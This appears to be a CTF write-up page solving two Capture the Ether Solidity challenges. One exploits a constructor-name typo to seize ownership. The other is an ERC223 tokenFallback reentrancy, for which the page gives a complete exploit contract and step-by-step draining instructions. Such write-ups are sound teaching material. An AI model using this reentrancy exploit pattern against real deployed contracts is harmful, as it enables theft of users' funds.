ctfwriteup
  • ✅/home/ret2basic.eth
  • Game Hacking
    • 👑Pwn Adventure 3: Pwnie Island
      • ✅Prep: Speed Hack
      • ✅Prep: Infinite Health and Mana (Offline)
      • ✅Prep: Analyze Network Packets with Wireshark
      • Prep: Build a Proxy in Python
      • ✅Until the Cows Come Home
      • Unbearable Revenge
      • Pirate's Treasure
    • Cheat Engine Tutorial
      • ✅Step 1: Setup
      • ✅Step 2: Scan for "Exact Value"
      • ✅Step 3: Scan for "Unknown initial value"
      • ✅Step 4: Scan for float and double
      • ✅Step 5: Replace instruction
      • Step 6: Pointer scanning
      • Step 7: Code injection
      • Step 8: Multilevel pointers
      • Step 9: Shared code
  • Web3 CTF
    • 👑Remedy CTF 2025 (Todo)
      • Diamond Heist
      • R vs Q
      • Rich Man's Bet
      • Casino Avengers
      • Frozen Voting
      • Lockdown
      • Proof of Thought
      • Maybe it's unnecessary?
      • Et tu, Permit2?
      • Not a very LUCKY TOKEN
      • risc4
      • HealthCheck as a Service
      • Restricted Proxy
      • Unstable Pool
      • Opaze Whisperer
      • "memorable" onlyOwner
      • World of Memecraft
      • Copy/Paste/Deploy
      • Peer-to-peer-to-me
      • Joe's Lending Mirage
      • Tokemak
      • OFAC Executive Order 13337
    • 👑Paradigm CTF 2023 (Todo)
      • Oven
      • Dragon Tyrant
    • Damn Vulnerable DeFi
      • ✅Unstoppable
      • ✅Naive Receiver
      • ✅Truster
      • ✅Side Entrance
      • ✅The Rewarder
      • ✅Selfie
      • ✅Compromised
      • ✅Puppet
      • ✅Puppet V2
      • ✅Free Rider
      • Backdoor
      • Climber
      • Wallet Mining (Todo)
      • Puppet V3 (Todo)
      • ABI Smuggling (Todo)
    • Milotruck Challs
      • ✅Greyhats Dollar
      • Escrow
      • Simple AMM Vault
      • Voting Vault
      • ✅Meta Staking
      • ✅Gnosis Unsafe
    • Secureum AMAZEX DSS Paris
      • ✅Operation magic redemption
      • Mission Modern WETH: Rescue the Ether
      • LendEx pool hack
      • Operation Rescue POSI Token!
      • Balloon Vault
      • Safe Yield?
      • ✅Crystal DAO
      • ✅Liquidatoooor
    • ✅Ethernaut
      • ✅Hello Ethernaut
      • ✅Fallback
      • ✅Fallout
      • ✅Coin Flip
      • ✅Telephone
      • ✅Token
      • ✅Delegation
      • ✅Force
      • ✅Vault
      • ✅King
      • ✅Re-entrancy
      • ✅Elevator
      • ✅Privacy
      • ✅Gatekeeper One
      • ✅Gatekeeper Two
      • ✅Naught Coin
      • ✅Preservation
      • ✅Recovery
      • ✅MagicNumber
      • ✅Alien Codex
      • ✅Denial
      • ✅Shop
      • ✅DEX
      • ✅DEX Two
      • ✅Puzzle Wallet
      • Motorbike
      • DoubleEntryPoint
      • ✅Good Samaritan
      • Gatekeeper Three
      • Switch
    • ✅Flashbots MEV-Share CTF
    • ✅Capture the Ether
      • ✅Lotteries
      • ✅Math
      • ✅Miscellaneous
    • ✅EVM Puzzles
      • ✅Puzzle 1
      • ✅Puzzle 2
      • ✅Puzzle 3
      • ✅Puzzle 4
      • ✅Puzzle 5
      • ✅Puzzle 6
      • ✅Puzzle 7
      • ✅Puzzle 8
      • ✅Puzzle 9
      • ✅Puzzle 10
    • ✅More EVM Puzzles
      • ✅Puzzle 1
      • ✅Puzzle 2
      • ✅Puzzle 3
      • ✅Puzzle 4
      • ✅Puzzle 5
      • ✅Puzzle 6
      • ✅Puzzle 7
      • ✅Puzzle 8
      • ✅Puzzle 9
      • ✅Puzzle 10
    • ✅QuillCTF
      • ✅MetaToken
      • ✅Temporary Variable
      • KeyCraft
      • ✅Lottery
      • ✅Private Club
      • Voting Machine
      • ✅Predictable NFT
      • ✅Invest Pool
      • PseudoRandom
      • ✅Gold NFT
      • Slot Puzzle
      • Moloch's Vault
      • ✅Donate
      • ✅WETH-11
      • Panda Token
      • Gate
      • ✅WETH10
      • ✅Pelusa
      • ✅True XOR
      • ✅Collatz Puzzle
      • ✅D31eg4t3
      • ✅Safe NFT
      • ✅VIP Bank
      • ✅Confidential Hash
      • ✅Road Closed
    • ✅unhacked
      • ✅reaper
  • RareSkills Puzzles
    • Solidity Exercises
    • Solidity Riddles
    • Yul Puzzles
      • ✅01 - ReturnBool
      • ✅02 - SimpleRevert
      • ✅03 - Return42
      • ✅04 - RevertWithError
      • ✅05 - RevertWithSelectorPlusArgs
      • 06 - RevertWithPanic
    • Huff Puzzles
    • Uniswap V2 Puzzles
    • Zero Knowledge Puzzles
  • Web2 CTF
    • Grey Cat CTF 2024
      • ✅Web Challs
    • pwn.college
      • Introduction
        • What is Computer Systems Security?
      • Program Interaction
        • Linux Command Line
        • 🚩embryoio
      • Program Misuse
        • Privilege Escalation
        • Mitigations
        • 🚩babysuid
      • Assembly Refresher
        • x86 Assembly
        • 🚩embryoasm
      • Shellcoding
        • Introduction
        • Common Challenges
        • Data Execution Prevention
        • 🚩babyshell
      • Sandboxing
        • chroot
        • seccomp
        • Escaping seccomp
        • 🚩babyjail
      • Debugging Refresher
        • x86 Assembly
        • 🚩embryogdb
      • Binary Reverse Engineering
        • Functions and Frames
        • Data Access
        • Static Tools
        • Dynamic Tools
        • Real-world Applications
        • 🚩babyrev
      • Memory Errors
        • High-Level Problems
        • Smashing the Stack
        • Causes of Corruption
        • Canary
        • ASLR
        • Causes of Disclosure
        • 🚩babymem
      • Exploitation
        • Introduction
        • Hijacking to Shellcode
        • Side Effects
        • JIT Spray
        • 🚩toddler1
      • Return Oriented Programming
        • Binary Lego
        • Techniques
        • Complications
        • 🚩babyrop
      • Dynamic Allocator Misuse
        • What is the Heap?
        • Dangers of the Heap
        • tcache
        • Chunks and Metadata
        • Metadata Corruption
        • 🚩babyheap
      • Race Conditions
        • Introduction
        • Races in the Filesystem
        • 🚩babyrace
      • Kernel Security
        • Environment Setup
        • Kernel Modules
        • Privilege Escalation
        • 🚩babykernel
      • Advanced Exploitation
        • toddler2
    • pwnable.kr
      • fd
      • collision
      • bof
      • flag
      • passcode
      • random
      • input
      • leg
      • mistake
      • shellshock
      • coin1
      • blackjack
      • lotto
      • cmd1
      • cmd2
      • uaf
      • memcpy
      • asm
      • unlink
      • blukat
      • horcruxes
    • ROP Emporium
      • ret2win
      • split
      • callme
      • write4
      • pivot
    • ✅Jarvis OJ Pwn Xman Series
    • ✅Jarvis OJ Crypto RSA Series
    • ✅picoMini by redpwn
      • Binary Exploitation
      • Reverse Engineering
      • Cryptography
      • Web Exploitation
      • Forensics
    • ✅picoCTF 2021
      • Reverse Engineering
      • Web Exploitation
      • Forensics
    • ✅picoCTF 2020 Mini-Competition
  • Red Teaming
    • vulnlab
      • Active Directory Chains
        • ✅Trusted (Easy)
        • Hybrid (Easy)
        • Lustrous (Medium)
        • Reflection (Medium)
        • Intercept (Hard)
      • Red Team Labs
        • Wutai (Medium)
        • Shinra (Hard)
    • Hack The Box
      • AD
        • Intelligence
        • Pivotapi
        • Sharp
        • Monteverde
        • Resolute
        • Endgame: P.O.O.
        • Forest
        • Sauna
        • Active
        • Blackfield
      • ✅Linux
        • ✅Safe (Easy)
        • ✅Delivery (Easy)
        • ✅TheNotebook (Medium)
        • ✅Brainfuck (Insane)
    • TCM Windows Privilege Escalation Course
      • ✅Hack The Box - Chatterbox (Medium)
      • Hack The Box - SecNotes (Medium)
    • ✅TCM Linux Privilege Escalation Course
      • ✅TryHackMe - Simple CTF (Easy)
      • ✅TryHackMe - Vulnversity (Easy)
      • ✅TryHackMe - CMesS (Medium)
      • ✅TryHackMe - UltraTech (Medium)
      • ✅TryHackMe - LazyAdmin (Easy)
      • ✅TryHackMe - Anonymous (Medium)
      • ✅TryHackMe - tomghost (Easy)
      • ✅TryHackMe - ConvertMyVideo (Medium)
      • ✅TryHackMe - Brainpan 1 (Hard)
Powered by GitBook
On this page
  • Assume ownership
  • Code Audit
  • Solution
  • Token bank
  • Code Audit
  • Solution
  1. Web3 CTF
  2. Capture the Ether

Miscellaneous

Assume ownership

Code Audit

pragma solidity ^0.4.21;

contract AssumeOwnershipChallenge {
    address owner;
    bool public isComplete;

    function AssumeOwmershipChallenge() public {
        owner = msg.sender;
    }

    function authenticate() public {
        require(msg.sender == owner);

        isComplete = true;
    }
}

Note that AssumeOwmershipChallenge() has a typo, so it is declared as a function instead of the constructor. Since this function is public, anyone can call it and reset the owner.

Solution

Copy and paste the challenge contract to Remix and interact with the instance via "At Address". Call AssumeOwmershipChallenge(), then call authenticate().

Token bank

Code Audit

pragma solidity ^0.4.21;

interface ITokenReceiver {
    function tokenFallback(address from, uint256 value, bytes data) external;
}

contract SimpleERC223Token {
    // Track how many tokens are owned by each address.
    mapping (address => uint256) public balanceOf;

    string public name = "Simple ERC223 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    uint256 public totalSupply = 1000000 * (uint256(10) ** decimals);

    event Transfer(address indexed from, address indexed to, uint256 value);

    function SimpleERC223Token() public {
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    function isContract(address _addr) private view returns (bool is_contract) {
        uint length;
        assembly {
            //retrieve the size of the code on target address, this needs assembly
            length := extcodesize(_addr)
        }
        return length > 0;
    }

    function transfer(address to, uint256 value) public returns (bool success) {
        bytes memory empty;
        return transfer(to, value, empty);
    }

    function transfer(address to, uint256 value, bytes data) public returns (bool) {
        require(balanceOf[msg.sender] >= value);

        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;
        emit Transfer(msg.sender, to, value);

        if (isContract(to)) {
            ITokenReceiver(to).tokenFallback(msg.sender, value, data);
        }
        return true;
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => mapping(address => uint256)) public allowance;

    function approve(address spender, uint256 value)
        public
        returns (bool success)
    {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value)
        public
        returns (bool success)
    {
        require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);

        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true;
    }
}

contract TokenBankChallenge {
    SimpleERC223Token public token;
    mapping(address => uint256) public balanceOf;

    function TokenBankChallenge(address player) public {
        token = new SimpleERC223Token();

        // Divide up the 1,000,000 tokens, which are all initially assigned to
        // the token contract's creator (this contract).
        balanceOf[msg.sender] = 500000 * 10**18;  // half for me
        balanceOf[player] = 500000 * 10**18;      // half for you
    }

    function isComplete() public view returns (bool) {
        return token.balanceOf(this) == 0;
    }

    function tokenFallback(address from, uint256 value, bytes) public {
        require(msg.sender == address(token));
        require(balanceOf[from] + value >= balanceOf[from]);

        balanceOf[from] += value;
    }

    function withdraw(uint256 amount) public {
        require(balanceOf[msg.sender] >= amount);

        require(token.transfer(msg.sender, amount));
        balanceOf[msg.sender] -= amount;
    }
}

Look at the withdraw() function:

function withdraw(uint256 amount) public {
	require(balanceOf[msg.sender] >= amount);

	require(token.transfer(msg.sender, amount));
	balanceOf[msg.sender] -= amount;
}

This function violates the "checks-effects-interactions" pattern, hence vulnerable to reentrancy attack. When token.transfer(msg.sender, amount) is called, the control flow goes into msg.sender's fallback function. If we call challenge.withdraw() again inside the fallback flow, the control flow will "re-enter" challenge.withdraw(). That is, TokenBankChallenge.withdraw() can be called many many times until all the fund in that contract is drained.

ERC223 is a superset of ERC20. The difference is ERC-223 "notifies" the recipient of a transfer by calling the recipient's tokenFallback function in case the recipient is a contract. This logic was implemented in token.transfer():

In this challenge, we will be using tokenFallback instead of the standard fallback function when building reentrancy attack exploit due to the design of ERC223. Besides this, the attack will be same as a standard reentrancy attack.

Solution

Write an exploit contract and deploy it in Remix:

pragma solidity ^0.4.21;

interface ITokenBankChallenge {
    function token() external returns (address);
    function balanceOf(address from) external returns (uint256);
    function isComplete() external view returns (bool);
    function withdraw(uint256 amount) external;
}
interface ISimpleERC223Token {
    function totalSupply() external returns (uint256);
    function balanceOf(address from) external returns (uint256);
    function transfer(address to, uint256 value) external returns (bool success);
    function approve(address spender, uint256 value) external returns (bool success);
    function transferFrom(address from, address to, uint256 value) external returns (bool success);
}

contract TokenBankSolution {
    ITokenBankChallenge public challenge;
    ISimpleERC223Token public token;
    uint256 private constant balance = 500000000000000000000000;
    uint256 counter;

    function TokenBankSolution(address _challenge) public {
        challenge = ITokenBankChallenge(_challenge);
        token = ISimpleERC223Token(challenge.token());
    }

    function stepThree(address _account) external {
        token.transferFrom(_account, address(this), balance);
    }

    function stepFour() external {
        token.transfer(address(challenge), balance);
    }

    function tokenFallback(address, uint256, bytes) public {
        counter++;
        if(counter <= 2){
            challenge.withdraw(balance);    
        }
    }

    function () public payable {}
}

Pay attention to the challenge.withdraw() function:

Note that the msg.sender here will be the exploit contract we just deployed. In order to pass this requirement, we need at least 500000000000000000000000 tokens in the exploit contract account. Since the initial balance of the exploit contract account is 0 and the initial balance of the player account is 500000000000000000000000, we can 1) convert all balances to tokens for the player account and 2) transfer all tokens from the player account to the exploit contract account, then 3) convert those tokens back to balance for the exploit contract account.

To exploit this challenge, do the following things in order:

  • Step 0: Interact with the challenge contract via "At Address". Get the token address via the getter challenge.token(). Interact with the token contract via "At Address".

  • Step 1 (manually): Call challenge.withdraw(500000000000000000000000) to convert all balances to tokens. Now the player account has 500000000000000000000000 tokens.

  • Step 2 (manually): Call token.approve(<exploit_contract_address>, 500000000000000000000000). This step prepares for token.transforFrom().

  • Step 3: Call stepThree(<your_Metamask_wallet_address>). This will transfer all the tokens from the player account to the exploit contract account.

  • Step 4: Call stepFour(). This will transfer all the token from the exploit contract account to the challenge contract account. The challenge.tokenFallback() function will be triggered, so challenge.balanceOf(<exploit_contract_address>) == 500000000000000000000000 now.

  • Step 5: Call tokenFallback(0x0000000000000000000000000000000000000000,1337,0x1337). This will trigger the reentrancy attack. Just pass in some junk parameters since they don't matter.

  • Step 6: Call challenge.isComplete() to verify if the reentrancy attack succeeded.

Here step 1 and step 2 are done manually because they are involved with msg.sender, which is supposed to be our Metamask wallet address.

PreviousMathNextEVM Puzzles

Last updated 2 years ago

✅
✅
token.transfer()
challenge.withdraw()